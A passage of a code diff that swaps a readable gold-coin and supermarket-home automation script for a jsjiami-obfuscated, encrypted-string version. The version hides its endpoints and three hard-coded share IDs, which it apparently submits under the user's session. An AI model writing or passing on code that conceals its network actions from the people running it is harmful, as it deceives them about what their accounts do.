'w45wwqvDscKZcG4XwosyCzQ=', 'f0p1wo0=', 'w4HCncO+w5zCq8Oyd17CvE04w7E=', 'ZeS6ruS7gui0teW7osOOT0kSwrjmn6jorKXor57msa/lpYrotI3Dn+KBiO+4quKBs++6ug==', 'WgLDojXCjMOfPcK1diBXCw==', 'worCoxnCrsOldsOrwpMNwqLDs8OIw6UvIMK5w5rDoy/CsENrwr3DsMOrwqF2M1XDtx7CozPCuCrCqMKTwokZSCRww7wQKcKZw6ZFIAw1CHLCjB0FY8K1G8KOCsOoQ8Oew6dEwpgjwrR9BsKJwrgfOsKybcKjMErCuj9bw7QYbDNqXy7Cg8KYw4Z1w7zDrWIeUXfDqsKmwqLDpyDClMOdBQ/CvcKKw6HDgn15MMOAwpkJJBfDpzLDjgvDsFHDs1sfwpcnQzUtKi7CmVRvOMOOTQjCp8KGCsOBD8K0fyVRwrHDugjDgMKgwolnJ8OLwoDCuQLCgV1pfnPDpA==', 'w5FUMSzCp8KqUUl4QU9XGcOPWFHCr8OTwr/DnhnCjMKraDpPUjvCoEkkSsK9DcO4w5nDqMKBcsOoWsKRPMKzwrbDqsKIw73CpQUGwqpif3fCplFBw5zDn17ClcK1wopEAsO+CjbDvChEwpk5woBjwoxdCQsRNMOnw6hpPsKUw5DDlMOWw6dWwpc2TxTDr8KGw7PCscOTKMKlZsKCE8OewoNPG1NSN8KrOT/CmMKIw6lid2PDqcKEw6bCnko7LwXCvFnCk8KEWlUDK8O2wq/DoFzDizY3YHXDlXXCkmIpwqxFe2HCksKiw6R8KnrCvDYMZlgXw4ojw6U=', 'TcOMD8O/XnvChwZfw5gEwqTDlBrCnMOIw4XDgnXDk8OTI0LChFN/w5vDtcKBwrpJwqDDi8O7w6/CpRLCg8OmdWs+J348wop/CkQ/YcOYDMK2AcKMK8OBdMOSaQLDgsOIwqbCmW7CgBPCqGfDjcKjAMKswpEvwqZfUMOIaSZwwoTDt3NlUz1cwoNWZjXCvkjDjcKRw6PDh8K2T2Uzw6A/J8OLw4FKGzEWVRDCgcO1w7MMIF9qw4ACwofCkcO/w47CokHCmMKpPlfCoMKmwpIcfcKST0VWecKZLDhCX2LCvMKpw4TDslE4w4PCihvCu8OpXcK1w6HDgsKEwpY+DcKg', 'LsKXwpbCnmU=', 'wp0cwpkRwqo=', 'wofCiCTDuEA=', 'wqPDsht4wpM=', 'w70gJWrCiw==', 'w67CmAozNg==', 'wqzDnyd1woo=', 'Mi3DgVTCpg==', 'w7IveEBcOg==', 'NMOtw5g=', 'YcO1w7bCjBXCj1rCusOuw5DCoWY=', 'w4xQGTjCjg==', 'TgDDujbCkMOeMcKsei5ODw==', 'TQ7DojM=', 'wqvCgSvCt8O1', 'w65eJy3CpsKdQk92Z1VP', 'N8Opw5gW', 'TD7DjMOUXMOiwpU=', 'wqbDnC8=', '6aOW5Y6i6YaY5bqP5om15Yuk', 'wqPCpAPCicOEdsOnwooNwq/Cs8Oi', 'w6QvYkU=', 'HMOCXsKZWBc=', 'XDLDlcOyWsOwwpXClcKow51TOQ==', '44KQ6aOI5Y+A6Ye15biy44GG', 'w4PChgjCnTQDw60SWcKOw78z', 'YQxpw4Y=', 'bh3DuhXDpCw=', 'IhEqw6sMDcORIsOtw7l/wog=', 'YsOnR8OPw48=', 'B8KawqbCmkc=', 'CNjgLwsjiahmxwtUFi.kcom.vK6Wr==']; -(function (_0x435e9c, _0x2c3b15, _0x3fd29c) { - var _0x15d5aa = function (_0x2845d9, _0xb1eaf8, _0x23b88a, _0x2249c6, _0x329b7f) { - _0xb1eaf8 = _0xb1eaf8 >> 0x8, _0x329b7f = 'po'; - var _0x35c260 = 'shift', _0x2adf61 = 'push'; - if (_0xb1eaf8 < _0x2845d9) { - while (--_0x2845d9) { - _0x2249c6 = _0x435e9c[_0x35c260](); - if (_0xb1eaf8 === _0x2845d9) { - _0xb1eaf8 = _0x2249c6; - _0x23b88a = _0x435e9c[_0x329b7f + 'p'](); - } else if (_0xb1eaf8 && _0x23b88a['replace'](/[CNgLwhxwtUFkKWr=]/g, '') === _0xb1eaf8) { - _0x435e9c[_0x2adf61](_0x2249c6); - } - } - _0x435e9c[_0x2adf61](_0x435e9c[_0x35c260]()); - } - return 0x7c478; - }; - return _0x15d5aa(++_0x2c3b15, _0x3fd29c) >> _0x2c3b15 ^ _0x3fd29c; -}(_0x435a, 0xf0, 0xf000)); -var _0x31f9 = function (_0x399ba0, _0x20111a) { - _0x399ba0 = ~~'0x'['concat'](_0x399ba0); - var _0x25028c = _0x435a[_0x399ba0]; - if (_0x31f9['zPVvlF'] === undefined) { - (function () { - var _0x210516 = typeof window !== 'undefined' ? window : typeof process === 'object' && typeof require === 'function' && typeof global === 'object' ? global : this; - var _0x57bbc1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; - _0x210516['atob'] || (_0x210516['atob'] = function (_0x20394a) { - var _0x2b515a = String(_0x20394a)['replace'](/=+$/, ''); - for (var _0x1de264 = 0x0, _0x45341e, _0x202179, _0x2931f0 = 0x0, _0x25ac2b = ''; _0x202179 = _0x2b515a['charAt'](_0x2931f0++); ~_0x202179 && (_0x45341e = _0x1de264 % 0x4 ? _0x45341e * 0x40 + _0x202179 : _0x202179, _0x1de264++ % 0x4) ? _0x25ac2b += String['fromCharCode'](0xff & _0x45341e >> (-0x2 * _0x1de264 & 0x6)) : 0x0) { - _0x202179 = _0x57bbc1['indexOf'](_0x202179); - } - return _0x25ac2b; - }); - }()); - var _0x16faa9 = function (_0x52c1b7, _0x20111a) { - var _0x2b3a74 = [], _0x13fedf = 0x0, _0x18ee6a, _0x3c0ad7 = '', _0x40588a = ''; - _0x52c1b7 = atob(_0x52c1b7); - for (var _0x553635 = 0x0, _0x37238b = _0x52c1b7['length']; _0x553635 < _0x37238b; _0x553635++) { - _0x40588a += '%' + ('00' + _0x52c1b7['charCodeAt'](_0x553635)['toString'](0x10))['slice'](-0x2); - } - _0x52c1b7 = decodeURIComponent(_0x40588a); - for (var _0x260892 = 0x0; _0x260892 < 0x100; _0x260892++) { - _0x2b3a74[_0x260892] = _0x260892; - } - for (_0x260892 = 0x0; _0x260892 < 0x100; _0x260892++) { - _0x13fedf = (_0x13fedf + _0x2b3a74[_0x260892] + _0x20111a['charCodeAt'](_0x260892 % _0x20111a['length'])) % 0x100; - _0x18ee6a = _0x2b3a74[_0x260892]; - _0x2b3a74[_0x260892] = _0x2b3a74[_0x13fedf]; - _0x2b3a74[_0x13fedf] = _0x18ee6a; - } - _0x260892 = 0x0; - _0x13fedf = 0x0; - for (var _0x39df9f = 0x0; _0x39df9f < _0x52c1b7['length']; _0x39df9f++) { - _0x260892 = (_0x260892 + 0x1) % 0x100; - _0x13fedf = (_0x13fedf + _0x2b3a74[_0x260892]) % 0x100; - _0x18ee6a = _0x2b3a74[_0x260892]; - _0x2b3a74[_0x260892] = _0x2b3a74[_0x13fedf]; - _0x2b3a74[_0x13fedf] = _0x18ee6a; - _0x3c0ad7 += String['fromCharCode'](_0x52c1b7['charCodeAt'](_0x39df9f) ^ _0x2b3a74[(_0x2b3a74[_0x260892] + _0x2b3a74[_0x13fedf]) % 0x100]); - } - return _0x3c0ad7; - }; - _0x31f9['VDDtgo'] = _0x16faa9; - _0x31f9['tLHaYD'] = {}; - _0x31f9['zPVvlF'] = !![]; - } - var _0x4f0f2e = _0x31f9['tLHaYD'][_0x399ba0]; - if (_0x4f0f2e === undefined) { - if (_0x31f9['aqllwv'] === undefined) { - _0x31f9['aqllwv'] = !![]; - } - _0x25028c = _0x31f9['VDDtgo'](_0x25028c, _0x20111a); - _0x31f9['tLHaYD'][_0x399ba0] = _0x25028c; - } else { - _0x25028c = _0x4f0f2e; - } - return _0x25028c; -}; - -async function receiveGoldCoin() { - var _0x4fa25c = { - 'Shdoo': _0x31f9('0', 'alBx'), 'WOeXE': function (_0x41e168, _0x371768, _0x89b5b8) { - return _0x41e168(_0x371768, _0x89b5b8); - }, 'kKoLG': _0x31f9('1', 'fXrq'), 'iASbk': _0x31f9('2', '4l&k'), 'EnPfv': _0x31f9('3', 'dS]p'), 'qVbnJ': _0x31f9('4', 'Th$J'), 'pHWak': function (_0x45588d, _0x2886f0) { - return _0x45588d * _0x2886f0; - }, 'EaRqk': function (_0x48368a, _0x3756da) { - return _0x48368a(_0x3756da); - }, 'oJDZr': function (_0x27c544, _0x55b6a1) { - return _0x27c544 === _0x55b6a1; - }, 'eKgpp': _0x31f9('5', 'uuZV') - }; - const _0x862b2c = _0x4fa25c[_0x31f9('6', 'ipL4')](taskUrl, _0x4fa25c[_0x31f9('7', 'I*9!')], { - 'shareId': [_0x4fa25c[_0x31f9('8', 'jQqE')], _0x4fa25c[_0x31f9('9', 'kjSm')], _0x4fa25c[_0x31f9('a', '9s4C')]][Math[_0x31f9('b', 'jQqE')](_0x4fa25c[_0x31f9('c', 'fjoo')](Math[_0x31f9('d', 'IZeJ')](), 0x3))], - 'channel': '4' - }); - $[_0x31f9('e', 'tAmR')](_0x862b2c, (_0xcd0230, _0x129b96, _0x6f0d7c) => { - }); - $[_0x31f9('f', 'Kk$i')] = await _0x4fa25c[_0x31f9('10', 'dS]p')](smtgReceiveCoin, {'type': 0x0}); - if ($[_0x31f9('11', 'fXrq')][_0x31f9('12', 'fXrq')] && _0x4fa25c[_0x31f9('13', '4l&k')]($[_0x31f9('14', 'dS]p')][_0x31f9('15', 'tAmR')][_0x31f9('16', 'O1#j')], 0x0)) { - console[_0x31f9('17', 'jQqE')](_0x31f9('18', 'QDli') + $[_0x31f9('19', '4l&k')][_0x31f9('1a', 'IZeJ')][_0x31f9('1b', '9XN1')][_0x31f9('1c', 'O1#j')]); - message += _0x31f9('1d', 'IZeJ') + $[_0x31f9('1e', 'V35y')][_0x31f9('1f', '1v!Q')][_0x31f9('20', 'niHx')][_0x31f9('21', 'QDli')] + '个\x0a'; - } else { - if (_0x4fa25c[_0x31f9('22', 'g1aj')](_0x4fa25c[_0x31f9('23', 'uuZV')], _0x4fa25c[_0x31f9('24', '9XN1')])) { - console[_0x31f9('25', '9XN1')]('' + ($[_0x31f9('19', '4l&k')][_0x31f9('26', 'jQqE')] && $[_0x31f9('f', 'Kk$i')][_0x31f9('27', 'V35y')][_0x31f9('28', 'tAmR')])); - } else { - console[_0x31f9('29', 'JVIY')](_0x4fa25c[_0x31f9('2a', 'JVIY')]); - console[_0x31f9('17', 'jQqE')](JSON[_0x31f9('2b', 'XM88')](err)); - } - } -} - -function smtgHome() { - var _0x2b0b51 = { - 'Tnybf': function (_0x3cfac6, _0x5ebf63) { - return _0x3cfac6(_0x5ebf63); - }, 'KfcyW': _0x31f9('2c', 'dS]p'), 'ULcFc': function (_0xf3db46, _0x4ddbc1) { - return _0xf3db46 === _0x4ddbc1; - }, 'OZgNt': _0x31f9('2d', 'niHx'), 'fgcRm': function (_0x218926, _0xe4ad23) { - return _0x218926(_0xe4ad23); - }, 'bynrM': function (_0x4ded26, _0x51a247) { - return _0x4ded26 !== _0x51a247; - }, 'umcbJ': _0x31f9('2e', 'Th$J'), 'ZKYUq': function (_0x5843d, _0x4f2c1e, _0x23c3d1) { - return _0x5843d(_0x4f2c1e, _0x23c3d1); - }, 'DCCUj': _0x31f9('2f', '^N7t'), 'rDJJu': _0x31f9('30', 'uuZV'), 'Uiniz': _0x31f9('31', 'kjSm'), 'XyDTT': _0x31f9('32', 'fXrq'), 'TIMmh': function (_0x7cea4, _0x4d9e77) { - return _0x7cea4 * _0x4d9e77; - }, 'rTxVX': function (_0x1f9203, _0x41fca2, _0x4dfc90) { - return _0x1f9203(_0x41fca2, _0x4dfc90); - } - }; - return new Promise(_0x19bcc9 => { - var _0x50ad87 = { - 'ffdRj': _0x2b0b51[_0x31f9('33', 'ipL4')], 'maldN': function (_0x2d0056, _0x4fba72) { - return _0x2b0b51[_0x31f9('34', 'QDli')](_0x2d0056, _0x4fba72); - }, 'pXfiX': function (_0x45bb54, _0xf58ee6) { - return _0x2b0b51[_0x31f9('35', 'tAmR')](_0x45bb54, _0xf58ee6); - }, 'SiSqZ': _0x2b0b51[_0x31f9('36', 'yGrB')], 'QrDoh': function (_0x580291, _0x2482f9) { - return _0x2b0b51[_0x31f9('37', '#[[S')](_0x580291, _0x2482f9); - } - }; - if (_0x2b0b51[_0x31f9('38', 'IZeJ')](_0x2b0b51[_0x31f9('39', '9XN1')], _0x2b0b51[_0x31f9('3a', 'uuZV')])) { - _0x2b0b51[_0x31f9('3b', '00Qy')](_0x19bcc9, data); - } else { - const _0x4bebee = _0x2b0b51[_0x31f9('3c', 'GgY[')](taskUrl, _0x2b0b51[_0x31f9('3d', 'i&$e')], { - 'shareId': [_0x2b0b51[_0x31f9('3e', 'tAmR')], _0x2b0b51[_0x31f9('3f', '9s4C')], _0x2b0b51[_0x31f9('40', '4l&k')]][Math[_0x31f9('41', '#0F!')](_0x2b0b51[_0x31f9('42', 'Th$J')](Math[_0x31f9('43', 'JVIY')](), 0x3))], - 'channel': '4' - }); - $[_0x31f9('44', 'O1#j')](_0x4bebee, (_0x176204, _0x22f68e, _0x3cd660) => { - }); - $[_0x31f9('45', 'kjSm')](_0x2b0b51[_0x31f9('46', '9XN1')](taskUrl, _0x2b0b51[_0x31f9('47', '18kq')], {'channel': '18'}), (_0x509722, _0x52e599, _0x37449c) => { - try { - if (_0x509722) { - console[_0x31f9('48', '!8b9')](_0x50ad87[_0x31f9('49', 'V35y')]); - console[_0x31f9('4a', 'dS]p')](JSON[_0x31f9('4b', '*eIx')](_0x509722)); - } else { - _0x37449c = JSON[_0x31f9('4c', 'nr2f')](_0x37449c); - if (_0x50ad87[_0x31f9('4d', 'v#0&')](_0x37449c[_0x31f9('4e', '!8b9')], 0x0) && _0x37449c[_0x31f9('1f', '1v!Q')][_0x31f9('4f', 'uuZV')]) { - const {result} = _0x37449c[_0x31f9('50', 'ce1a')]; - const {shopName, totalBlue, userUpgradeBlueVos, turnoverProgress} = result; - $[_0x31f9('51', '18kq')] = userUpgradeBlueVos; - $[_0x31f9('52', 'oqIa')] = turnoverProgress; - } - } - } catch (_0x56d7e6) { - $[_0x31f9('53', 'Znct')](_0x56d7e6, _0x52e599); - } finally { - if (_0x50ad87[_0x31f9('54', 'lXFG')](_0x50ad87[_0x31f9('55', 'V35y')], _0x50ad87[_0x31f9('56', 'I*9!')])) { - _0x50ad87[_0x31f9('57', 'niHx')](_0x19bcc9, _0x37449c); - } else { - console[_0x31f9('58', 'nr2f')]('' + ($[_0x31f9('59', 'oqIa')][_0x31f9('5a', 'XM88')] && $[_0x31f9('5b', 'i&$e')][_0x31f9('5a', 'XM88')][_0x31f9('28', 'tAmR')])); - } - } - }); - } - }); -};_0xod8 = 'jsjiami.com.v6'; - +var _0xod8='jsjiami.com.v6',_0x435a=[_0xod8,'C8OsSsKcRA==','AsOISg==','wq7Dkjx7','w4DCiBDCmA==','McOhw5Y6w7rCqw==','FyxD','KCtAGFA=','aF9zwoVnw5LDtl3Chw==','woPkuK3kuZfot4zlu6fDiAtgYk/mn4Tor4zorojms6flpJzotLDDt+KCuu+7suKCm++5jg==','UjXDnzbDkg==','fcOdasKVWg==','EMKbwovCpcOrwolHLA/ChsKPWQ==','LMK5wrfCqVXDusKyBcOOF8KcM8KBPBLDk8OhdsKkwpvCi8KbSMOcw7ZLw6jDoCrDnMOOY8OUGRvCr8KQw7PCo8ODKVbClyN9woFKJ8KCw78yWmjCisKYwpvCsnXCocKcTMKjw4w4w5TDhlrCicK6KcKxIMOTw7NXPGI5w7bDmsOOw53DjsOoNcKZw5poJAnDlsOhGSACwpJlw5JwVGtVw7vCnC3DuhDDnMOcdSzCq3Y0w7HDpsOKwrRBHw7CmMO7acK7wrvDgcKLw5LCj8KPw40gw7LDrXkHUU9Fw5HDjsKfwpEAEmIQwrJTw6vCrcKNw65lw5c7ZBUQOMKrw7YPSmnCgHEiwo/Csg==','w6ArD2nCv8ObR8OhTsOxIgFuwqohWGbCgwtqHyRYw6nDtcKtGGfDvWTDqsOSIsKHCMOAwofDv3hHw5jCrDjCpsKPwp02VF8pdnMBDit/wobDicOJG8OAwp/DrcOkwoIawoQ6RRXCkMOJwqbCn8K8w5c0FcKGAcKAMDbCmhbCocKFw6nCisKHAzAnwpdfwqJrw53CnsO+UngVw4tRFCDCvsK3KBTDlXTCmxw4WWnDrWgoQAY5IMKCw5JMTcKoAgLDusOzUcKWwpsywoExworCmMOVwovCssOFwrhuw5rCl2Vjw5o4wqnDlsKtQzzCn20UE8O5KMOdSSjDhcK7DQ==','aznCo2rCgsKCM8KJbQFRXsO+w59qw4tPwrhPw4jCl8OhXMODw7vDonvCnsO9LMKwwop0DBzCtws2wp/CksKvKXzDuwxnw6jDtsO/SMKtw4pNwrPCp8Ohw5TCj8OFPV/ChMKww71hwrfDuB7Dn1t5e8OLw47Dl8KNNlfDtMOpOz/CqcOaeMOvw7fCslIifTFawqTClE8xc8K3GcKcw44yGj4/w5fCo8K9eVvCmcKzw6pDwphvRX/ChAIFH8KpwrxAwpDCrUp2wqrDnik4w751w7vDh2Edw458w5jCpmXCmil6YFBBfgXChnPDtUZ5w4/DsgtYOsK2bcOdw58lNAXDtQ==','woE1wp8wwrg=','BTgqw4gG','BsOEw48xw6o=','PTjCgUgN','w6dGwoHDpGk=','w6I3eFZ+','G8OKTsKOfg==','F8K8wqLCiH0=','wrJGw5wfVw==','w43CscKqwqV6','w6LCscORw63Cgg==','IcOMw6Y9w7w=','w4rCpwY0Bg==','wpzCsivCucOT','wqLChMKxIsKU','W8OTd8KqZw==','CSJKE1DCgg==','STLDgg==','w58rAQ==','HMOzVcK6bA==','w6RQwpAVXA==','acOxw7o=','w4LCjwDCqx0=','w6VeLA==','wpnCjlMxBcOnw7hewqA=','FUDCocKLUg==','w6crecK1UQ==','ZsOxw7nClg==','EcKkwqLCiVLDpsKk','EHxBCw==','w5VgwrYyYzbDqBnCtyIfwohdFMK+wrUQw58=','w51qwrXDu8K1aWILwp8hEDJ5M8KGVw==','wo5/Mwg1Bw==','UVUmKsKc','w7fCgDfCiC0=','wr/CqhjDhV0=','TQrDjQ/DoA==','CU7CtA==','w45wwqvDscKZcG4XwosyCzQ=','f0p1wo0=','w4HCncO+w5zCq8Oyd17CvE04w7E=','ZeS6ruS7gui0teW7osOOT0kSwrjmn6jorKXor57msa/lpYrotI3Dn+KBiO+4quKBs++6ug==','WgLDojXCjMOfPcK1diBXCw==','worCoxnCrsOldsOrwpMNwqLDs8OIw6UvIMK5w5rDoy/CsENrwr3DsMOrwqF2M1XDtx7CozPCuCrCqMKTwokZSCRww7wQKcKZw6ZFIAw1CHLCjB0FY8K1G8KOCsOoQ8Oew6dEwpgjwrR9BsKJwrgfOsKybcKjMErCuj9bw7QYbDNqXy7Cg8KYw4Z1w7zDrWIeUXfDqsKmwqLDpyDClMOdBQ/CvcKKw6HDgn15MMOAwpkJJBfDpzLDjgvDsFHDs1sfwpcnQzUtKi7CmVRvOMOOTQjCp8KGCsOBD8K0fyVRwrHDugjDgMKgwolnJ8OLwoDCuQLCgV1pfnPDpA==','w5FUMSzCp8KqUUl4QU9XGcOPWFHCr8OTwr/DnhnCjMKraDpPUjvCoEkkSsK9DcO4w5nDqMKBcsOoWsKRPMKzwrbDqsKIw73CpQUGwqpif3fCplFBw5zDn17ClcK1wopEAsO+CjbDvChEwpk5woBjwoxdCQsRNMOnw6hpPsKUw5DDlMOWw6dWwpc2TxTDr8KGw7PCscOTKMKlZsKCE8OewoNPG1NSN8KrOT/CmMKIw6lid2PDqcKEw6bCnko7LwXCvFnCk8KEWlUDK8O2wq/DoFzDizY3YHXDlXXCkmIpwqxFe2HCksKiw6R8KnrCvDYMZlgXw4ojw6U=','TcOMD8O/XnvChwZfw5gEwqTDlBrCnMOIw4XDgnXDk8OTI0LChFN/w5vDtcKBwrpJwqDDi8O7w6/CpRLCg8OmdWs+J348wop/CkQ/YcOYDMK2AcKMK8OBdMOSaQLDgsOIwqbCmW7CgBPCqGfDjcKjAMKswpEvwqZfUMOIaSZwwoTDt3NlUz1cwoNWZjXCvkjDjcKRw6PDh8K2T2Uzw6A/J8OLw4FKGzEWVRDCgcO1w7MMIF9qw4ACwofCkcO/w47CokHCmMKpPlfCoMKmwpIcfcKST0VWecKZLDhCX2LCvMKpw4TDslE4w4PCihvCu8OpXcK1w6HDgsKEwpY+DcKg','LsKXwpbCnmU=','wp0cwpkRwqo=','wofCiCTDuEA=','wqPDsht4wpM=','w70gJWrCiw==','w67CmAozNg==','wqzDnyd1woo=','Mi3DgVTCpg==','w7IveEBcOg==','NMOtw5g=','YcO1w7bCjBXCj1rCusOuw5DCoWY=','w4xQGTjCjg==','TgDDujbCkMOeMcKsei5ODw==','TQ7DojM=','wqvCgSvCt8O1','w65eJy3CpsKdQk92Z1VP','N8Opw5gW','TD7DjMOUXMOiwpU=','wqbDnC8=','6aOW5Y6i6YaY5bqP5om15Yuk','wqPCpAPCicOEdsOnwooNwq/Cs8Oi','w6QvYkU=','HMOCXsKZWBc=','XDLDlcOyWsOwwpXClcKow51TOQ==','44KQ6aOI5Y+A6Ye15biy44GG','w4PChgjCnTQDw60SWcKOw78z','YQxpw4Y=','bh3DuhXDpCw=','IhEqw6sMDcORIsOtw7l/wog=','YsOnR8OPw48=','B8KawqbCmkc=','CNjgLwsjiahmxwtUFi.kcom.vK6Wr=='];(function(_0x435e9c,_0x2c3b15,_0x3fd29c){var _0x15d5aa=function(_0x2845d9,_0xb1eaf8,_0x23b88a,_0x2249c6,_0x329b7f){_0xb1eaf8=_0xb1eaf8>>0x8,_0x329b7f='po';var _0x35c260='shift',_0x2adf61='push';if(_0xb1eaf8<_0x2845d9){while(--_0x2845d9){_0x2249c6=_0x435e9c[_0x35c260]();if(_0xb1eaf8===_0x2845d9){_0xb1eaf8=_0x2249c6;_0x23b88a=_0x435e9c[_0x329b7f+'p']();}else if(_0xb1eaf8&&_0x23b88a['replace'](/[CNgLwhxwtUFkKWr=]/g,'')===_0xb1eaf8){_0x435e9c[_0x2adf61](_0x2249c6);}}_0x435e9c[_0x2adf61](_0x435e9c[_0x35c260]());}return 0x7c478;};return _0x15d5aa(++_0x2c3b15,_0x3fd29c)>>_0x2c3b15^_0x3fd29c;}(_0x435a,0xf0,0xf000));var _0x31f9=function(_0x399ba0,_0x20111a){_0x399ba0=~~'0x'['concat'](_0x399ba0);var _0x25028c=_0x435a[_0x399ba0];if(_0x31f9['zPVvlF']===undefined){(function(){var _0x210516=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x57bbc1='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x210516['atob']||(_0x210516['atob']=function(_0x20394a){var _0x2b515a=String(_0x20394a)['replace'](/=+$/,'');for(var _0x1de264=0x0,_0x45341e,_0x202179,_0x2931f0=0x0,_0x25ac2b='';_0x202179=_0x2b515a['charAt'](_0x2931f0++);~_0x202179&&(_0x45341e=_0x1de264%0x4?_0x45341e*0x40+_0x202179:_0x202179,_0x1de264++%0x4)?_0x25ac2b+=String['fromCharCode'](0xff&_0x45341e>>(-0x2*_0x1de264&0x6)):0x0){_0x202179=_0x57bbc1['indexOf'](_0x202179);}return _0x25ac2b;});}());var _0x16faa9=function(_0x52c1b7,_0x20111a){var _0x2b3a74=[],_0x13fedf=0x0,_0x18ee6a,_0x3c0ad7='',_0x40588a='';_0x52c1b7=atob(_0x52c1b7);for(var _0x553635=0x0,_0x37238b=_0x52c1b7['length'];_0x553635<_0x37238b;_0x553635++){_0x40588a+='%'+('00'+_0x52c1b7['charCodeAt'](_0x553635)['toString'](0x10))['slice'](-0x2);}_0x52c1b7=decodeURIComponent(_0x40588a);for(var _0x260892=0x0;_0x260892<0x100;_0x260892++){_0x2b3a74[_0x260892]=_0x260892;}for(_0x260892=0x0;_0x260892<0x100;_0x260892++){_0x13fedf=(_0x13fedf+_0x2b3a74[_0x260892]+_0x20111a['charCodeAt'](_0x260892%_0x20111a['length']))%0x100;_0x18ee6a=_0x2b3a74[_0x260892];_0x2b3a74[_0x260892]=_0x2b3a74[_0x13fedf];_0x2b3a74[_0x13fedf]=_0x18ee6a;}_0x260892=0x0;_0x13fedf=0x0;for(var _0x39df9f=0x0;_0x39df9f<_0x52c1b7['length'];_0x39df9f++){_0x260892=(_0x260892+0x1)%0x100;_0x13fedf=(_0x13fedf+_0x2b3a74[_0x260892])%0x100;_0x18ee6a=_0x2b3a74[_0x260892];_0x2b3a74[_0x260892]=_0x2b3a74[_0x13fedf];_0x2b3a74[_0x13fedf]=_0x18ee6a;_0x3c0ad7+=String['fromCharCode'](_0x52c1b7['charCodeAt'](_0x39df9f)^_0x2b3a74[(_0x2b3a74[_0x260892]+_0x2b3a74[_0x13fedf])%0x100]);}return _0x3c0ad7;};_0x31f9['VDDtgo']=_0x16faa9;_0x31f9['tLHaYD']={};_0x31f9['zPVvlF']=!![];}var _0x4f0f2e=_0x31f9['tLHaYD'][_0x399ba0];if(_0x4f0f2e===undefined){if(_0x31f9['aqllwv']===undefined){_0x31f9['aqllwv']=!![];}_0x25028c=_0x31f9['VDDtgo'](_0x25028c,_0x20111a);_0x31f9['tLHaYD'][_0x399ba0]=_0x25028c;}else{_0x25028c=_0x4f0f2e;}return _0x25028c;};async function receiveGoldCoin(){var _0x4fa25c={'Shdoo':_0x31f9('0','alBx'),'WOeXE':function(_0x41e168,_0x371768,_0x89b5b8){return _0x41e168(_0x371768,_0x89b5b8);},'kKoLG':_0x31f9('1','fXrq'),'iASbk':_0x31f9('2','4l&k'),'EnPfv':_0x31f9('3','dS]p'),'qVbnJ':_0x31f9('4','Th$J'),'pHWak':function(_0x45588d,_0x2886f0){return _0x45588d*_0x2886f0;},'EaRqk':function(_0x48368a,_0x3756da){return _0x48368a(_0x3756da);},'oJDZr':function(_0x27c544,_0x55b6a1){return _0x27c544===_0x55b6a1;},'eKgpp':_0x31f9('5','uuZV')};const _0x862b2c=_0x4fa25c[_0x31f9('6','ipL4')](taskUrl,_0x4fa25c[_0x31f9('7','I*9!')],{'shareId':[_0x4fa25c[_0x31f9('8','jQqE')],_0x4fa25c[_0x31f9('9','kjSm')],_0x4fa25c[_0x31f9('a','9s4C')]][Math[_0x31f9('b','jQqE')](_0x4fa25c[_0x31f9('c','fjoo')](Math[_0x31f9('d','IZeJ')](),0x3))],'channel':'4'});$[_0x31f9('e','tAmR')](_0x862b2c,(_0xcd0230,_0x129b96,_0x6f0d7c)=>{});$[_0x31f9('f','Kk$i')]=await _0x4fa25c[_0x31f9('10','dS]p')](smtgReceiveCoin,{'type':0x0});if($[_0x31f9('11','fXrq')][_0x31f9('12','fXrq')]&&_0x4fa25c[_0x31f9('13','4l&k')]($[_0x31f9('14','dS]p')][_0x31f9('15','tAmR')][_0x31f9('16','O1#j')],0x0)){console[_0x31f9('17','jQqE')](_0x31f9('18','QDli')+$[_0x31f9('19','4l&k')][_0x31f9('1a','IZeJ')][_0x31f9('1b','9XN1')][_0x31f9('1c','O1#j')]);message+=_0x31f9('1d','IZeJ')+$[_0x31f9('1e','V35y')][_0x31f9('1f','1v!Q')][_0x31f9('20','niHx')][_0x31f9('21','QDli')]+'个\x0a';}else{if(_0x4fa25c[_0x31f9('22','g1aj')](_0x4fa25c[_0x31f9('23','uuZV')],_0x4fa25c[_0x31f9('24','9XN1')])){console[_0x31f9('25','9XN1')](''+($[_0x31f9('19','4l&k')][_0x31f9('26','jQqE')]&&$[_0x31f9('f','Kk$i')][_0x31f9('27','V35y')][_0x31f9('28','tAmR')]));}else{console[_0x31f9('29','JVIY')](_0x4fa25c[_0x31f9('2a','JVIY')]);console[_0x31f9('17','jQqE')](JSON[_0x31f9('2b','XM88')](err));}}}function smtgHome(){var _0x2b0b51={'Tnybf':function(_0x3cfac6,_0x5ebf63){return _0x3cfac6(_0x5ebf63);},'KfcyW':_0x31f9('2c','dS]p'),'ULcFc':function(_0xf3db46,_0x4ddbc1){return _0xf3db46===_0x4ddbc1;},'OZgNt':_0x31f9('2d','niHx'),'fgcRm':function(_0x218926,_0xe4ad23){return _0x218926(_0xe4ad23);},'bynrM':function(_0x4ded26,_0x51a247){return _0x4ded26!==_0x51a247;},'umcbJ':_0x31f9('2e','Th$J'),'ZKYUq':function(_0x5843d,_0x4f2c1e,_0x23c3d1){return _0x5843d(_0x4f2c1e,_0x23c3d1);},'DCCUj':_0x31f9('2f','^N7t'),'rDJJu':_0x31f9('30','uuZV'),'Uiniz':_0x31f9('31','kjSm'),'XyDTT':_0x31f9('32','fXrq'),'TIMmh':function(_0x7cea4,_0x4d9e77){return _0x7cea4*_0x4d9e77;},'rTxVX':function(_0x1f9203,_0x41fca2,_0x4dfc90){return _0x1f9203(_0x41fca2,_0x4dfc90);}};return new Promise(_0x19bcc9=>{var _0x50ad87={'ffdRj':_0x2b0b51[_0x31f9('33','ipL4')],'maldN':function(_0x2d0056,_0x4fba72){return _0x2b0b51[_0x31f9('34','QDli')](_0x2d0056,_0x4fba72);},'pXfiX':function(_0x45bb54,_0xf58ee6){return _0x2b0b51[_0x31f9('35','tAmR')](_0x45bb54,_0xf58ee6);},'SiSqZ':_0x2b0b51[_0x31f9('36','yGrB')],'QrDoh':function(_0x580291,_0x2482f9){return _0x2b0b51[_0x31f9('37','#[[S')](_0x580291,_0x2482f9);}};if(_0x2b0b51[_0x31f9('38','IZeJ')](_0x2b0b51[_0x31f9('39','9XN1')],_0x2b0b51[_0x31f9('3a','uuZV')])){_0x2b0b51[_0x31f9('3b','00Qy')](_0x19bcc9,data);}else{const 